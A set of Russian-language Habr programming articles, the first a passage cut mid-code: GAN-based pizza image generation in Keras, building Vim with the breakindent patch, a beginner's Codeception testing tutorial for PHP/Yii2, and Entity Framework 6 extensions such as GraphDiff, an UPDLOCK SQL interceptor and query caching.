x = Conv2D(128, (5, 5), padding='same')(input_img)
#x = BatchNormalization()(x)
x = LeakyReLU()(x)
#x = Dropout(0.3)(x)
x = MaxPooling2D(pool_size=(2, 2), padding='same')(x)
x = Conv2D(256, (5, 5), padding='same')(x)
x = LeakyReLU()(x)
x = MaxPooling2D(pool_size=(2, 2), padding='same')(x)
x = Conv2D(512, (5, 5), padding='same')(x)
x = LeakyReLU()(x)
x = MaxPooling2D(pool_size=(2, 2), padding='same')(x)
x = Flatten()(x)
x = Dense(2048)(x)
x = LeakyReLU()(x)
x = Dense(1)(x)
d = Activation('sigmoid')(x)
discriminator = Model(input_img, d, name='Discriminator')
gan = Sequential()
gan.add(generator)
make_trainable(discriminator, False) #discriminator.trainable = False
gan.add(discriminator)
return generator, discriminator, gan
gan_gen, gan_ds, gan = create_gan(channels, height, width)
gan_gen.summary()
gan_ds.summary()
gan.summary()
opt = Adam(lr=1e-3)
gopt = Adam(lr=1e-4)
dopt = Adam(lr=1e-4)
gan_gen.compile(loss='binary_crossentropy', optimizer=gopt)
gan.compile(loss='binary_crossentropy', optimizer=opt)
make_trainable(gan_ds, True)
gan_ds.compile(loss='binary_crossentropy', optimizer=dopt)
```
Как видим, дискриминатор – это обычный бинарный классификатор, который выдаёт:
1 — для реальных картинок,
0 — для поддельных.
Процедура обучения:
* получаем порцию реальных картинок
* генерируем шум, на базе которого генератор генерирует картинки
* формируем батч для обучения дискриминатора, который состоит из реальных картинок (им присваивается метка 1) и подделок от генератора (метка 0)
* обучаем дискриминатор
* обучаем GAN (в нём обучается генератор, т.к. обучение дискриминатора отключено), подавая на вход шум и ожидая на выходе метку 1.
```
for epoch in range(epochs):
print('Epoch {} from {} ...'.format(epoch, epochs))
n = x_train.shape[0]
image_batch = x_train[np.random.randint(0, n, size=batch_size),:,:,:]
noise_gen = np.random.uniform(-1, 1, size=[batch_size, latent_dim])
generated_images = gan_gen.predict(noise_gen, batch_size=batch_size)
if epoch % 10 == 0:
print('Save gens ...')
save_images(generated_images)
gan_gen.save_weights('temp/gan_gen_weights_'+str(height)+'.h5', True)
gan_ds.save_weights('temp/gan_ds_weights_'+str(height)+'.h5', True)
# save loss
df = pd.DataFrame( {'d_loss': d_loss, 'g_loss': g_loss} )
df.to_csv('temp/gan_loss.csv', index=False)
x_train2 = np.concatenate( (image_batch, generated_images) )
y_tr2 = np.zeros( [2*batch_size, 1] )
y_tr2[:batch_size] = 1
d_history = gan_ds.train_on_batch(x_train2, y_tr2)
print('d:', d_history)
d_loss.append( d_history )
noise_gen = np.random.uniform(-1, 1, size=[batch_size, latent_dim])
g_history = gan.train_on_batch(noise_gen, np.ones([batch_size, 1]))
print('g:', g_history)
g_loss.append( g_history )
```
Обратите внимание, что, в отличие от вариационного автоэнкодера, для обучение генератора не используются реальные изображения, а только метка дискриминатора. Т.е. генератор обучается на градиентах ошибки от дискриминатора.
Самое интересное, что название состязательные сети — не для красивого слова — они действительно cостязаются и следить за показаниями loss-ов дискриминатора и генератора даже увлекательно.
Если посмотреть на кривые потерь, то видно, что дискриминатор быстро обучается отличать реальную картинку от первоначального мусора, выдаваемого генератором, но потом кривые начинают колебаться — генератор учится генерировать всё более подходящее изображение.
gif-ка показывающая процесс обучения генератора (32x32) на одной пицце (первая пицца в списке — Двойная пепперони):
Как и ожидалось, результат работы GAN, по сравнению с вариационным энкодером, даёт более чёткое изображение.
### CVAE + GAN — условный вариационный автоэнкордер и генеративная cостязательная сеть
Осталось объединить CVAE и GAN вместе, чтобы получить лучшее от обоих сетей. В основе объединения лежит простая идея — декодер VAE выполняет ровно ту же функцию, что и генератор GAN, однако выполняют и обучаются они ей по-разному.
Кроме того, что не до конца понятно — как всё это заставить работать вместе, мне так же не было ясно — как в Keras-е можно применять разные функции потерь. Разобраться в этом вопросе помогли примеры на гитхабе:
→ [Keras VAEs and GANs](https://github.com/tatsy/keras-generative)
Так, применение разных функций потерь в Keras-е можно реализовать добавлением своего слоя ( [Writing your own Keras layers](https://keras.io/layers/writing-your-own-keras-layers/) ), в методе call() которого и реализовать требуемую логику рассчёта c последующим вызовом метода add\_loss().
Пример:
```
class DiscriminatorLossLayer(Layer):
__name__ = 'discriminator_loss_layer'
def __init__(self, **kwargs):
self.is_placeholder = True
super(DiscriminatorLossLayer, self).__init__(**kwargs)
def lossfun(self, y_real, y_fake_f, y_fake_p):
y_pos = K.ones_like(y_real)
y_neg = K.zeros_like(y_real)
loss_real = keras.metrics.binary_crossentropy(y_pos, y_real)
loss_fake_f = keras.metrics.binary_crossentropy(y_neg, y_fake_f)
loss_fake_p = keras.metrics.binary_crossentropy(y_neg, y_fake_p)
return K.mean(loss_real + loss_fake_f + loss_fake_p)
def call(self, inputs):
y_real = inputs[0]
y_fake_f = inputs[1]
y_fake_p = inputs[2]
loss = self.lossfun(y_real, y_fake_f, y_fake_p)
self.add_loss(loss, inputs=inputs)
return y_real
```
gif-ка показывающая процесс обучения (64x64):
Результат работы переноса стиля:
А теперь самое интересное!
Собственно ради чего это всё и затевалось — генерация пиццы по выбранным ингредиентам.
Посмотрим на пиццы с рецептом, состоящим из одного ингредиента (т.е. с кодами от 1 до 27):
Как и следовало ожидать — более-менее смотрятся только пиццы с самыми популярными ингредиентами 24, 20, 17 (томаты, пепперони, моцарелла) — все остальные варианты — это что-то мутное с круглой формой и непонятными серыми пятнами, в которых только при желании можно попытаться что-то угадать.
### Заключение
В целом, эксперимент можно признать частично удавшимся. Однако, даже на таком игрушечном примере чувствуется, что пафосное выражение: "данные — это новая нефть" — имеет право на существование, особенно применительно к машинному обучению.
Ведь качество работы приложения на базе машинного обучения, в первую очередь зависит от качества и количества данных.
Генеративные сети — это действительно очень интересно и, думается, что в обозримом будущем мы ещё увидим множество самых различных примеров их применения.
Кстати, возникает хороший вопрос: если права на фотографии принадлежат их создателю, то кому принадлежат права на картинку, которую создаёт нейронная сеть?
Большое спасибо за внимание!
NB. При написании этой статьи — ни одна пицца не пострадала.
### Ссылки
* [Автоэнкодеры в Keras, Часть 3: Вариационные автоэнкодеры (VAE)](https://habrahabr.ru/post/331552/)
* [Автоэнкодеры в Keras, Часть 4: Conditional VAE](https://habrahabr.ru/post/331664/)
* [Автоэнкодеры в Keras, Часть 5: GAN(Generative Adversarial Networks) и tensorflow](https://habrahabr.ru/post/332000/)
* [Автоэнкодеры в Keras, часть 6: VAE + GAN](https://habrahabr.ru/post/332074/)
* Deep Convolutional GANs (DCGAN): [Unsupervised Representation Learning with Deep Convolutional Generative Adversarial Networks](https://arxiv.org/abs/1511.06434)
* [How to Train a GAN? Tips and tricks to make GANs work](https://github.com/soumith/ganhacks)
* [Keras VAEs and GANs](https://github.com/tatsy/keras-generative)
* [MNIST Generative Adversarial Model in Keras](https://oshearesearch.com/index.php/2016/07/01/mnist-generative-adversarial-model-in-keras/) ( [mnist\_gan.py](https://github.com/osh/KerasGAN/blob/master/mnist_gan.py) )
* [Generative Adversarial Networks Part 2 — Implementation with Keras 2.0](http://www.rricard.me/machine/learning/generative/adversarial/networks/keras/tensorflow/2017/04/05/gans-part2.html)
* [Generative Adversarial Networks with Keras](https://github.com/phreeza/keras-GAN)
* [GAN by Example using Keras on Tensorflow Backend](https://medium.com/towards-data-science/gan-by-example-using-keras-on-tensorflow-backend-1a6d515a60d0)
* [Keras implementation of Deep Convolutional Generative Adversarial Networks (DCGAN)](https://github.com/kyloon/dcgan)
* [Генеративные модели от OpenAI](https://habrahabr.ru/company/wunderfund/blog/334568/)
* [Нейросетевая игра в имитацию](https://habrahabr.ru/company/ods/blog/322514/) | https://habr.com/ru/post/337398/ | null | ru | null |
# Настройка наследования отступа для длинных строк
Речь пойдет о том, как vim «сворачивает» (делает то, что по английски называется wrap) длинные строки. Допустим, у вас есть очень длинная строка кода, которая начинается с некоторым отступом. Скорее всего, если вы используете `:set wrap` и `:set showbreak=->`, она выглядит вот так:
```
Not-indented line
Once indented line
Twice indented line, which is long enough
->to be wrapped.
```
А хотелось бы, чтобы выглядела вот так:
```
Not-indented line
Once indented line
Twice indented line, which is long enough
->to be wrapped.
```
К сожалению, стандартными средствами Vim добиться этого невозможно, но есть патч, который позволяет с этим справиться.
Патч называется *breakindent patch* и может быть скачан по адресу [retracile.net/wiki/VimBreakIndent](https://retracile.net/wiki/VimBreakIndent). Он патчит исходники vim, из которых последний придется собирать собственными руками. Исходники берутся из [www.vim.org](http://www.vim.org), секция Download. Патч следует применить в директории, куда распакованы исходники, командой
`patch -p1
В реализации, которую я скачал вчера, `file.of.patch` надо было заменять на `vim-7.3.285-breakindent.patch`.
Дальнейшее касается только сборки vim из исходников и не должно вызывать проблем. Если же руки у читателя растут оттуда же, откуда и у автора этих строк, и из исходников он ничего никогда не собирал, то делать надо примерно следующее.
В файле `src/Makefile` можно раскомментировать (удаляя # в начале строки) желаемые опции. Я бы рекомендовал собрать vim в наибольшей конфигурации, для чего надо удалить символ комментария в начале строки
`CONF_OPT_FEAT = --with-features=huge`
Если вам нужен графический интерфейс (я бы не рекомендовал, но на вкус и цвет), нужно добавить в строку `CONF_ARGS` ключ `--enable-gui` и раскомментировать одну из строк `CONF_OPT_GUI`, в зависимости от того, какой гуй вам хочется иметь, к примеру
`CONF_ARGS = --exec-prefix=/usr --enable-gui
CONF_OPT_GUI = --enable-gui=gnome2`
После всего этого достаточно сделать (полагаем, что у тех, кому такая инструкция полезна, есть в системе sudo)
`make
sudo make install`
и наслаждаться правильными отступами, отдав команду `:set breakindent`.
На всякий случай, информацию о сворачивании строк можно найти по адресу `:h wrap; :h linebreak; :h showbreak`. В прореферированном виде информацию можно искать на сайте vim.wikia.com, где очень много полезного, в частности [vim.wikia.com/wiki/Word\_wrap\_without\_line\_breaks](http://vim.wikia.com/wiki/Word_wrap_without_line_breaks).` | https://habr.com/ru/post/138857/ | null | ru | null |
# Тестирование с Сodeception для чайников: 3 вида тестов
Целью данной статьи я ставил показать людям, не знакомым с тестированием, как можно действительно быстро начать тестировать, собрав все в одном месте с минимумом воды и на русском языке. Пусть это будет весьма примитивно. Пусть не очень интересно людям, которые уже живут по TDD, SOLID и другим принципам. Но дочитав до конца, любой желающий сможет сделать свой первый уверенный шаг в мир тестирования.
Мы рассмотрим приемочные (Acceptance), функциональные (Functional) и юнит-тесты или модульные тесты (Unit-Tests).
> Также, на эту статью, подтолкнуло то, что много статей, с названием "Codeception", на самом деле — это просто 1 acceptace тест.
>
> PS: Предупреждаю сразу, что я не профи и могу допускать ошибки во всем.
### Установка Composer & Codeception
Если вас ставят в тупик фразы
```
$ composer require "codeception/codeception:*"
$ alias cept="./vendor/bin/codecept"
```
**, то под катом я расскажу более подробно. Либо - идем дальше.**
Для начала работы нам нужен замечательный инструмент Composer. В большинстве проектов он уже будет установлен. Но установить его — также не является проблемой. Все варианты перечислены на его официальной странице: <https://getcomposer.org/download/> Наиболее банальным и простым способом является прокрутить вниз страницы и просто скачать \*.phar файл в корень вашего проекта.
Лучшие практики вам обязательно скажут, что так делать — плохо. Необходимо разместить его в /etc/bin, дать права на выполнение и переименовать в composer. Прислушайтесь к ним, когда дочитаете статью до конца.
Второй шаг в настройке Composer, а также очень частый ответ, что делать, когда Композер сломался: обновить/установить FXP-плагин. Он "живет" по адресу: <https://packagist.org/packages/fxp/composer-asset-plugin> И устанавливается часто командой:
`$ php composer.phar global require "fxp/composer-asset-plugin:~1.4.2"`
Обратите внимание, что версию надо вписывать ту, которая будет отображена на сайте в момент прочтения этой статьи.
Финальная настройка перед началом работы — установить себе Codeception, с помощью Composer:
`$ php composer.phar require "codeception/codeception:*"`
После чего исполняемый файл Codeception доступен для нас в подкаталоге ./vendor/bin/codecept для Linux и ./vendor/bin/codecept.bat для Windows. Набирать это перед каждым запуском долго. Поэтому делаем сокращения:
Для Linux: `$ alias cept="./vendor/bin/codecept"`
Для Windows в корне проекта (откуда будем запускать тесты) создаем новый bat-файл: cept.bat
```
@echo off
@setlocal
set CODECEPT_PATH=vendor/bin/
"%CODECEPT_PATH%codecept.bat" %*
@endlocal
```
После чего команда cept, в консоли, должна вернуть help-страницу по Codeception. А если вам хочется запускать cept.bat из любого каталога — посмотрите в сторону директивы PATH.
И пару подсказок на эту тему:
Удаление пакета из композера: `$ php composer.phar remove codeception/codeception`
Если Вы столкнетесь с проблемой: `"Fatal error: Allowed memory size of 12345678 bytes exhausted"`. Composer тут же подскажет ссылку, на которой будет написан немного модифицированный вызов: `$ php -d memory_limit=-1 composer.phar {ваша_команда}`
### Создание первого теста: приемочный или Acceptance
Сейчас мы в шаге от своего первого теста. Проверим банально, что у нашего сайта открывается главная страница и страница About. Что они возвращают корректный код ответа "200" и содержат ключевые слова.
Собственно — это и есть суть приемочных тестов: проверить то, что доступно человеку, далекому от программирования: просмотр содержимого страницы, попытка залогиниться и т.д.
`$ cept bootstrap` — делаем разовую инициализацию, после первой установки
`$ cept generate:cept acceptance SmokeTest` — создаем первый тестовый сценарий
Открываем **tests/acceptance/SmokeTestCept.php** и дописываем к имеющимся двум строчкам new AcceptanceTester и wantТo свои. На выходе у нас должно получится:
```
$I = new AcceptanceTester($scenario);
$I->wantTo('Check that MainPage and About are work');
$I->amOnPage('/');
$I->seeResponseCodeIs(\Codeception\Util\HttpCode::OK);
$I->see('Главная блога'); // ! Тут часть фразы с вашей главной
$I->amOnPage('/about');
$I->seeResponseCodeIs(\Codeception\Util\HttpCode::OK);
$I->see('Обо мне'); // ! Тут часть фразы с вашей страницы about
```
Как Вы понимаете: запускать рано. Вы получите сообщение о том, что тест не пройден. Т.к. он не совсем в курсе, у какого сайта надо открыть главную страницу. Правим секцию modules.config.PhpBrowser.url в файле `tests/acceptance.suite.yml`. Например у меня там получилось: `url: http://rh.dev/`
Также в коде теста, сразу глаза бросается дубляж. Его можно отрефакторить, добавив новый метод в класс `tests/_support/AcceptanceTester.php`. Либо отнаследовавшись от него — создать себе собственный и добавить метод туда. Но это уже другой разговор не про тесты.
Итак, жмем следующие команды:
`$ cept build` — после внесения правок в файлы конфигурации всегда необходима пересборка
`$ cept run acceptance` — запускаем тест на выполнение
Вы должны получить сообщение: **OK (1 test, 4 assertion)**
Собственно — всё! Вы создали первый тест, который за Вас может проверить адекватность страниц по всему сайту. Что особенно полезно, когда этих страниц становится много, а шеф хочет с каждым разом накатывать все быстрее и быстрее. Не забывая раздавать нагоняи, что на сайте что-то сломалось.
В дальнейшем вы можете проверять также формы, аяксы, REST, JavaScript через Selenium и разные другие вещи.
### Создание первого теста: функциональные или Functional
> Сразу важная цитата из документации: "В случае, если Вы не используете фреймворки, практически нет смысла в написании функциональных тестов."
>
> Для данного рода тестов Вам необходим любой фреймворк из поддерживаемых Codeception: Yii1/2, ZF, Symfony и т.д. Это касается **только** функциональных тестов.
>
> К сожалению не смог найти конкретную ссылку со списком того, что поддерживается.
Функциональные тесты немного сходны с приемочными. Но в отличие от последних — не требуется запускать веб-сервер: мы вызываем наш framework, с эмуляцией переменных запроса (get, post).
Официальная документация рекомендует тестировать нестабильные части приложения с помощью функциональных тестов, а стабильные с помощью приемочных. Это обусловлено тем, что функциональные тесты не требуют использования веб сервера и порой, могут предложить более подробный отладочный вывод.
Первое, с чего нам надо начать: правим файл конфигурации в `tests/functional.suite.yml`, указав в нем модуль своего фреймворка, вместо фразы "# add a framework module here". А все тонкости настройки — придется прочесть в официальной документации.
Я покажу на примере не шаблонного Yii2 (если у вас установлен шаблон Basic или Advanced, то вверху этой страницы есть описание и такого варианта): <http://codeception.com/for/yii#Manual-Setup--Configuration>
**Посмотреть шаги**
1. В файле `tests/_bootstrap.php` добавляем константу: `defined('YII_ENV') or define('YII_ENV', 'test');`. Если файла нет — создаем и добавляем в корневой `codeception.yml` settings.bootstrap:\_bootstrap.php. **Такие файлы необходимо будет вкладывать во все папки с тестами.** Если забудете — Codeception вам об этом напомнит.
2. В папке config yii-приложения, рядом с `main.php` кладем `test.php`, который заполняем из мануала
3. Экспертным путем обнаружил, что модуль не видит мои vendors и испытывает проблемы с пониманием, где он находится в файловой системе. Поэтому дополнил `test.php` еще парой строк:
```
require_once(__DIR__ . '/../../../vendor/autoload.php');
require_once(__DIR__ . '/../../../vendor/yiisoft/yii2/Yii.php');
require_once(__DIR__ . '/../../../common/config/bootstrap.php');
// @approot - мой собственный алиас. + штатные еще не доступны в этом месте
$_SERVER['SCRIPT_FILENAME'] = realpath(Yii::getAlias('@approot/web/index.php'));
$_SERVER['SCRIPT_NAME'] = '/'.basename($_SERVER['SCRIPT_FILENAME']);
```
`$ cept generate:cept functional myFirstFunctional` — создаем первый тестовый сценарий
Созданный файл `tests/functional/myFirstFunctionalCept.php` заполняем сходно с прошлым файлом теста. С одним лишь отличием в первой строке:
`$I = new FunctionalTester($scenario);`
И дальше по пройденному выше материалу:
`$ cept build` — после внесения правок в файлы конфигурации всегда необходима пересборка
`$ cept run functional` — запускаем тест на выполнение
Вы должны получить сообщение: **OK (1 test, 4 assertion)**
### Создание первого теста: юнит-тесты или Unit-Tets
Если предыдущие тесты смотрели на ваше приложение в целом: от точки входа, до точки выхода. То модульные тесты — помогают разложить все по полочкам, дав возможность тестировать каждый кирпичик, ака модуль, приложения.
Что тестировать и на сколько углубленно — на хабре довольно много статей. В каких-то ситуациях вам скажут, что обязательно тестировать полностью все методы и классы. В иных — разговор будет немного иным. Например, мне бросилась в глаза эта статья: [Трагедия стопроцентного покрытия кода](http://habr.com/ru/company/digital-ecosystems/blog/328406) [post-link](https://habr.com/ru/post/328406)
У себя я протестирую класс, который работает по патерну ActiveRecord: загружу данные из массива и запущу валидацию. Если впоследствии добавится какое-либо обязательное поле и, как везде водится, про это все забудут: тест сразу выскажет свое возражение.
Вторым этапом я буду тестировать один из своих хелперов. Идея больше показательная, чем полезная.
Начало уже привычно:
`tests/unit.suite.yml` — правим согласно своего фреймворка(если вы его используете).
`$ cept build` — после внесения правок в файлы конфигурации всегда необходима пересборка.
`$ cept generate:test unit SmokeUnit` — создаем пустышку, для будущего теста.
**Полный листинг моего теста**
```
php
namespace tests\unit;
use common\helpers\JsonRhHelper;
use frontend\modules\wot\models\WotMonitoringClan;
class SmokeUnitTest extends \Codeception\Test\Unit {
/**
* @var \UnitTester
*/
protected $tester;
/**
* @var array - в дальнейшем рефакторинг в полноценную фикстуру
*/
protected $clanFixture = [
'WotMonitoringClan' = [
'clan_id' => 1,
'status' => '1',
'name' => 'DNO',
'tag' => 'Рачистая местность'
]
];
protected function _before() {
}
protected function _after() {
}
/**
* тестируем, что модель клана ведет себя корректно
*/
public function testCheckClanAR() {
$clan = new WotMonitoringClan();
$clan->load($this->clanFixture);
// по-умолчанию фикстура содержит корректные данные
$this->assertTrue($clan->validate());
// проверю собственные геттеры
$fullClanTag = '[' . $clan->tag . ']';
$this->assertTrue($clan->fullClanTag === $fullClanTag);
// проверю, что ломается там, где должно
$clan->clan_id = null;
$this->assertFalse($clan->validate());
}
/**
* проверяем, что хелпер JSONa отдает данные в стандартном формате
*/
public function testStaticHelper() {
// успешный ответ
$expectedArray = ['success' => 'myTest'];
$respArray = JsonRhHelper::success('myTest', false);
$this->assertTrue($expectedArray === $respArray);
// не успешный ответ
$expectedArray = [
'error' => [
'message' => 'myTest',
'id' => 13255
]
];
$respArray = JsonRhHelper::error('myTest', 13255, false);
$this->assertTrue($expectedArray === $respArray);
}
}
```
`$ cept run unit` — запускаем тест на выполнение. Видим **OK (2 tests, 5 assertions)**
Немного поясню:
`$this->assertTrue($clan->validate());` — как следует из названия: ожидает, что в переменной или результате метода содержится логическое TRUE. Противовес: `$this->assertFalse()`
`$this->assertEquals(1, count($myArray));` — ожидает равенство двух параметров
Т.е. парой проверок можно сделать какие-то базовые вещи. Подстелить себе соломинку, так сказать. А на досуге почитать про остальные выражения проверок: <http://www.phpunit.de/manual/3.4/en/api.html#api.assert>
> Кстати! Теперь, когда мы создали все тесты, и наше приложение готово начать жить по-новому. Когда тесты уже будут запускаться 1 раз перед выкаткой. Скажу, о чем не упомянул в начале: после параметра `run` можно не указывать тип тестов. Тогда будут выполняться все типы тестов по очереди: `$ cept run`
### В заключение
Конечно в этой статье все упрощено и написано поверхностно. Но, сами понимаете, что данная тема — это не одна статья. Уже не говоря про те самые Best-Practices, которые или набиваются своими шишками, или ты успеешь про них прочесть заранее.
Поэтому давайте попробуем начать в данном формате и посмотреть, что из этого выйдет.
Если искомая аудитория будет найдена — я обязательно постараюсь рассказать об опущенных мной Mock-обьектах, Fixtures, тестовых БД с дампами и еще много интересного, что используется в этом направлении.
**Посмотреть полезные ссылки**
[Официальная документация, En](http://codeception.com/docs/)
[Не официальный перевод документации, 2015, Ru](https://github.com/yupe/codeception-guide-ru)
[Интересная обзорная статья](http://onedev.net/post/429)
[Официальная документация PhpUnit](https://phpunit.de/documentation.html) | https://habr.com/ru/post/329418/ | null | ru | null |
# Расширения Entity Framework 6, о которых вы могли и не знать
Многие программисты делают записи, описывают трудности, красивые и не очень решения, с которыми приходится сталкиваться по долгу службы. Это может быть собственный технический блог, рабочая вики, или даже обычный блокнот — суть одна. Постепенно, из маленьких Evernote-заметок может вырасти целая статья на Хабр. Но время идет, перемена места работы сулит изменения в стеке разработки, да и технологии не стоят на месте (кстати, EF Core уже пару месяцев как в [версии 1.1](https://blogs.msdn.microsoft.com/dotnet/2016/11/16/announcing-entity-framework-core-1-1/)). С другой стороны, Entity Framework 6 был и остается "рабочей лошадкой" для доступа к данным в корпоративных приложениях на стеке .net, не в последнюю очередь благодаря своей стабильности, низкому порогу входа и широкой известности. Поэтому, я надеюсь, статья всё еще окажется кому-то полезной.
Содержание:
1. Database First без EDMX
2. Работа с отсоединенными графами
3. Модификация SQL. Добавление табличных указаний
4. Кэширование данных за пределами времени жизни DbContext
5. Retry при ошибках от SQL Server
6. Подменяем DbContext, изолируемся от реальной БД
7. Быстрая вставка
Database First без EDMX
-----------------------
Не хотелось бы начинать очередной раунд спора "Code First vs. Database First". Лучше просто расскажу, как облегчить себе жизнь, если вы предпочитаете Database First. Многие разработчики, использующие этот подход, отмечают неудобство работы с громоздким EDMX-файлом. Этот файл может превратить в ад командную разработку, сильно затрудняя слияние параллельных изменений вследствие постоянного "перемешивания" своей внутренней структуры. Среди прочих недостатков, для моделей с несколькими сотнями сущностей (обычный такой legacy-монолит), вы можете столкнуться с сильным падением скорости любого действия, работая со стандартным EDMX-дизайнером.
Решение кажется очевидным — необходимо отказаться от EDMX в пользу альтернативных средств генерации POCO и хранения метаданных. Задача-то несложная, и в EF есть "из коробки" — это пункт "Generate Code First From Database", доступный в Visual Studio (VS2015 точно). Но, на практике — очень неудобно накатывать изменения БД на полученную модель через этот инструмент. Далее, кто работает с EF достаточно давно — может помнить расширение [Entity Framework Power Tools](https://marketplace.visualstudio.com/items?itemName=EntityFrameworkTeam.EntityFrameworkPowerToolsBeta4), решающее схожие задачи — но, увы, проект более не развивается (на VS2015 [без хака](http://thedatafarm.com/data-access/installing-ef-power-tools-into-vs2015/) не поставить), а часть разработчиков этого инструмента ныне работает непосредственно в команде EF.
Казалось бы, все плохо — и тут мы нашли [EntityFramework Reverse POCO Generator](https://marketplace.visualstudio.com/items?itemName=SimonHughes.EntityFrameworkReversePOCOGenerator). Это Т4-шаблон для генерации POCO на основе существующей БД с большим количеством настроек и открытым [исходным кодом](https://github.com/sjh37/EntityFramework-Reverse-POCO-Code-First-Generator). Поддерживаются все основные фичи EDMX, и есть ряд дополнительных вкусностей: генерация FakeDbContext/FakeDbSet для юнит-тестирования, покрытие моделей атрибутами (напр. DataContract/DataMember) и др. Благодаря Т4, есть полный контроль за генерацией кода. Резюмируя: работает стабильно, команде нравится, легко мигрировать существующие проекты.
Работа с отсоединенными графами
-------------------------------
Прикрепить к DbContext новый, либо ранее полученный в другом контексте единичный объект обычно не составляет труда. Проблемы начинаются в случае графов, т.е. сущностей со связями — EF "из коробки" не отслеживает изменения в содержимом navigation properties вновь присоединяемой к контексту сущности. Для отслеживания изменений, для каждого объекта-сущности во время жизни контекста должен существовать соответствующий entry — объект со служебной информацией, в том числе состоянием сущности (Added, Modified, Deleted и т.п.). Заполнить entries для присоединения графа — возможно как минимум 2 путями:
1. Хранить состояние в самих сущностях, самостоятельно отслеживая изменения. Таким образом, наш отсоединенный граф будет содержать в себе всю необходимую информацию для присоединения.
2. Ничего не делать заранее, а при добавлении графа в новый контекст — подтянуть из БД исходный граф и проставить состояния entry на основании сравнения двух графов.
Пример **решения #1** можно найти, например, в [свежем Pluralsight-курсе](https://www.pluralsight.com/courses/entity-framework-enterprise-update) от Julie Lerman, известного специалиста по EF. Для его самостоятельной generic-реализации необходимо большое количество телодвижений. Все сущности должны реализовать интерфейс IStateObject:
```
public interface IStateObject
{
ObjectState State { get; set; }
}
```
Тем или иным способом, необходимо обеспечить актуальность значений State, чтобы после ручного присоединения каждой сущности в графе к контексту:
```
context.Foos.Attach(foo);
```
пройти по всем entry, редактируя их состояние:
```
IStateObject entity = entry.Entity;
entry.State = ConvertState(entity.State);
```
В этом случае нам не требуются дополнительные обращения к БД, но решение получается объемное, хрупкое, и потенциально нерабочее для отношений "многие-ко-многим". Еще и модели замусорили (к слову, требование реализации интерфейса можно решить путем модификации Т4-шаблонов из предыдущего раздела статьи).
Рассмотрим **решение #2**. Буду краток:
```
context.UpdateGraph(root, map => map.OwnedCollection(r => r.Childs));
```
вызов сей — добавит в контекст сущность root, обновив при этом navigation property с коллекцией дочерних объектов Childs, ценой SELECT-а к БД одного лишь. Что стало возможным благодаря библиотеке [GraphDiff](https://github.com/refactorthis/GraphDiff), автор которой сделал всю черную работу и выловил основные баги.
Модификация SQL. Добавление табличных указаний
----------------------------------------------
Генерация, казалось бы, простой инструкции SELECT… FROM Table WITH (UPDLOCK) не поддерживается EF. Зато есть interceptor'ы, позволяющие модифицировать генерируемый SQL любым подходящим способом, например, с помощью регулярных выражений. Давайте добавим UPDLOCK на каждый генерируемый SELECT в пределах времени жизни контекста (естественно, гранулярность — не обязательно контекст, всё зависит от вашей реализации):
```
using (var ctx = new MyDbContext().With(SqlLockMode.UpdLock)) {}
```
Для этого, объявим метод With внутри контекста и зарегистрируем interceptor:
```
public interface ILockContext
{
SqlLockMode LockMode { get; set; }
MyDbContext With(SqlLockMode lockMode);
}
public class MyDbConfig : DbConfiguration
{
public MyDbConfig()
{
AddInterceptor(new LockInterceptor());
}
}
[DbConfigurationType(typeof(MyDbConfig))]
public partial class MyDbContext : ILockContext
{
public SqlLockMode LockMode { get; set; }
public MyDbContext With(SqlLockMode lockMode)
{
LockMode = lockMode;
return this;
}
private static void MyDbContextStaticPartial() { }
}
```
**LockInterceptor**
```
public class LockInterceptor : DbCommandInterceptor
{
public override void ScalarExecuting(DbCommand command, DbCommandInterceptionContext interceptionContext)
{
AddLockStatement(command, interceptionContext);
}
public override void ReaderExecuting(DbCommand command, DbCommandInterceptionContext interceptionContext)
{
AddLockStatement(command, interceptionContext);
}
private void AddLockStatement(DbCommand command, DbCommandInterceptionContext interceptionContext)
{
var lockMode = GetLock(interceptionContext);
switch (lockMode)
{
case SqlLockMode.UpdLock: command.CommandText = SqlModifier.AddUpdLock(command.CommandText);
break;
}
}
private SqlLockMode GetLock(DbCommandInterceptionContext interceptionContext)
{
if (interceptionContext == null) return SqlLockMode.None;
ILockContext lockContext = interceptionContext.DbContexts.First() as ILockContext;
if (lockContext == null) return SqlLockMode.None;
return lockContext.LockMode;
}
}
```
**Регулярное выражение может быть таким:**
```
public static class SqlModifier
{
private static readonly Regex _regex = new Regex(@"(?SELECT\s.\*FROM\s.\*AS \[Extent\d+])",
RegexOptions.Multiline | RegexOptions.IgnoreCase);
public static string AddUpdLock(string text)
{
return \_regex.Replace(text, "${tableAlias} WITH (UPDLOCK)");
}
}
```
**Тестируем регулярное выражение**
```
public class SqlModifier_Tests
{
[TestCase("SELECT [Extent1].[Name] AS [Name] FROM [dbo].[Customer] AS [Extent1]")]
[TestCase("SELECT * FROM [dbo].[Customer] AS [Extent999]")]
public void AddUpdLock_ValidEfSelectStatement_AddLockAfterTableAlias(string text)
{
string expected = text + " WITH (UPDLOCK)";
string actual = SqlModifier.AddUpdLock(text);
Assert.AreEqual(expected, actual);
}
[TestCase("SELECT [Extent1].[Extent1] AS [Extent1]")]
[TestCase("SELECT * FROM Order")]
[TestCase(" AS [Extent111]")]
public void AddUpdLock_InvalidEfSelectStatement_NoChange(string text)
{
string actual = SqlModifier.AddUpdLock(text);
Assert.AreEqual(text, actual);
}
}
```
Кэширование данных за пределами времени жизни DbContext
-------------------------------------------------------
EF [кэширует](https://msdn.microsoft.com/en-us/data/hh949853.aspx) такие вещи, как:
* Query Plan.
* Metadata.
* Compiled Queries.
Кэширование данных есть только в пределах жизни контекста (вспомним метод Find), да и полноценным кэшем это язык назвать не повернется. Как нам организовать единый для всех контекстов, управляемый кэш в памяти процесса? Используем [EntityFramework.Plus](https://github.com/zzzprojects/EntityFramework-Plus/wiki/EF-Query-Cache-%7C-Entity-Framework-Second-Level-Caching), либо ее "бедную" альтернативу [EntityFramework.Cache](https://github.com/moozzyk/EFCache):
```
public void SelectWithCache()
{
using (var ctx = new MyDbContext())
{
ctx.Customers.FromCache().ToList();
}
}
[Test]
public void SelectWithCache_Test()
{
TimeSpan expiration = TimeSpan.FromSeconds(5);
var options = new CacheItemPolicy() { SlidingExpiration = expiration };
QueryCacheManager.DefaultCacheItemPolicy = options;
SelectWithCache(); //запрос к БД
SelectWithCache(); //из кэша
Thread.Sleep(expiration);
SelectWithCache(); //запрос к БД
}
```
Достаточно запустить SQL-профайлер, чтобы убедиться — 2-й вызов SelectWithCache() не затрагивает БД. Lazy-обращения также будут кэшированы.
